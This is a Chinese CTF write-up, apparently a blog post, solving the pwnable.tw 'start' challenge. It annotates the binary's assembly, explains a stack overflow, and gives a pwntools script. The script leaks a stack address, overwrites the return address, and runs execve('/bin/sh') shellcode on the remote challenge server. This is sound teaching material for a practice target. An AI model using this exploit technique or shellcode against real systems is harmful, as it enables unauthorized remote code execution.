Pwnable.tw start [Writeup]

题源

https://pwnable.tw/challenge/#1

题解

先看一下安全保护情况

在这里插入图片描述

再dump一下源码

在这里插入图片描述

拖到IDA里一看,也就是内联汇编写的代码(此处略去)。毕竟是入门第一题,都是用的简单的汇编指令。简单注释一下:

08048060 <_start>:
  8048060:       54                      push   %esp            ; 泄露了栈地址
  8048061:       68 9d 80 04 08          push   $0x804809d      ; 程序exit
  8048066:       31 c0                   xor    %eax,%eax       ; 清空四个寄存器
  8048068:       31 db                   xor    %ebx,%ebx       
  804806a:       31 c9                   xor    %ecx,%ecx      
  804806c:       31 d2                   xor    %edx,%edx      
  804806e:       68 43 54 46 3a          push   $0x3a465443     ; 压入"Let's start the CTF:"  
  8048073:       68 74 68 65 20          push   $0x20656874
  8048078:       68 61 72 74 20          push   $0x20747261
  804807d:       68 73 20 73 74          push   $0x74732073
  8048082:       68 4c 65 74 27          push   $0x2774654c
  8048087:       89 e1                   mov    %esp,%ecx       ; 调整ecx=esp,便于输出
  8048089:       b2 14                   mov    $0x14,%dl       ; 设定edx=20,即length=20
  804808b:       b3 01                   mov    $0x1,%bl        ; 设定ebx=1,即使用标准输出
  804808d:       b0 04                   mov    $0x4,%al        ; 系统调用号为4:sys_write
  804808f:       cd 80                   int    $0x80           ; 系统调用,即输出"Let's start the CTF:"
  8048091:       31 db                   xor    %ebx,%ebx       ; 设定ebx=0,即使用标准输入
  8048093:       b2 3c                   mov    $0x3c,%dl       ; 设定edx=60,即length=60
  8048095:       b0 03                   mov    $0x3,%al        ; 系统调用号为3:sys_read
  8048097:       cd 80                   int    $0x80           ; 系统调用,即读入60个字符
  8048099:       83 c4 14                add    $0x14,%esp      ; esp+=20
  804809c:       c3                      ret                    ; pop eip

0804809d <_exit>:
 804809d:       5c                      pop    %esp
 804809e:       31 c0                   xor    %eax,%eax
 80480a0:       40                      inc    %eax
 80480a1:       cd 80                   int    $0x80

程序正常执行时,栈图一如下:

在这里插入图片描述

不同于call-leave-ret的函数调用方式,int调用系统函数时不改变栈布局,因此可以观察到,在line 13-17执行write时push了20bytes,但是line 18-21执行read时使用了60bytes、且ecx都使用了x-28。因此当read长度大于20时,x-8处的exit地址将被覆盖。

由于NX没有开启,可以考虑劫持控制流,执行栈上的shellcode。利用方式为:获取栈地址,将栈地址覆写到ret地址、将shellcode覆写到栈中,执行栈的代码。

这里要考虑到的是栈的地址不是固定的,不能根据本地gdb的调试结果直接写入静态地址。因此需要先借用程序的write函数来泄露栈地址,以动态获取payload。以下是程序里几个关键点:

  • line 2:程序一开始执行时直接把esp的值push到栈里,因此泄露了栈地址,存放位置如栈图一所示
  • line 13-17:程序使用的sys_write比较粗糙,相当于直接打印当前栈上的20个bytes
  • line 23:ret后,esp处于x-4位置,此时esp保存的就是初始时的栈地址,因此只需覆盖ret到line 13即可直接泄露栈地址,通过recv(4)可以获得前四个bytes,即栈地址
  • line 18-21:第一次调整返回地址到sys_write后,又有了一次sys_read的机会。此时esp、ecx都位于x-4,而之前获取的栈地址是x
  • line 22:第二次执行此处后,esp=x+16。使用这个地址的内容作为第二次ret的地址,则其内容应该存放x+20

地址偏移量的计算比较琐碎,栈地址和栈内容要搞清楚:泄露栈地址时使用的是栈内容,read、write使用的是栈地址,即寄存器内容。exploit使用的栈图二如下,其中第一次read标红,第二次read标蓝。最后通过直接执行栈(x+20)实现exploit。

在这里插入图片描述

使用的python程序如下

from pwn import *
context(arch='i386',os='linux')
#context(log_level='debug')
filename = './start'
io = remote('chall.pwnable.tw',10000)
#io = process(filename)
io.recvuntil('CTF:')
payload = b'A'*20 + p32(0x8048087)
io.send(payload)
ad = u32(io.recv(4))
payload = b'A'*20 + p32(ad + 20)
payload += b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x00'
io.send(payload)
io.interactive()

运行结果:

在这里插入图片描述

总结

算是PWN的小入门吧!之前以为栈地址是固定的,结果静态尝试了很多遍都是段错误(小白石锤了QAQ)。通过这个题目应该了解到:

  • 利用程序本身代码进行控制流重定向,泄露栈地址
  • 多次buffer overflow实现exploit
  • 在NX、PIE、ASLR都关闭的情况下,栈地址也会改变

参考资料

  1. linux/x86 32bit系统调用表
  2. linux/x86 32bit shellcode(21bytes): execve(“/bin/sh”,0,0)
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

c01dkit

好可怜一博主,都没人打赏>_<

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值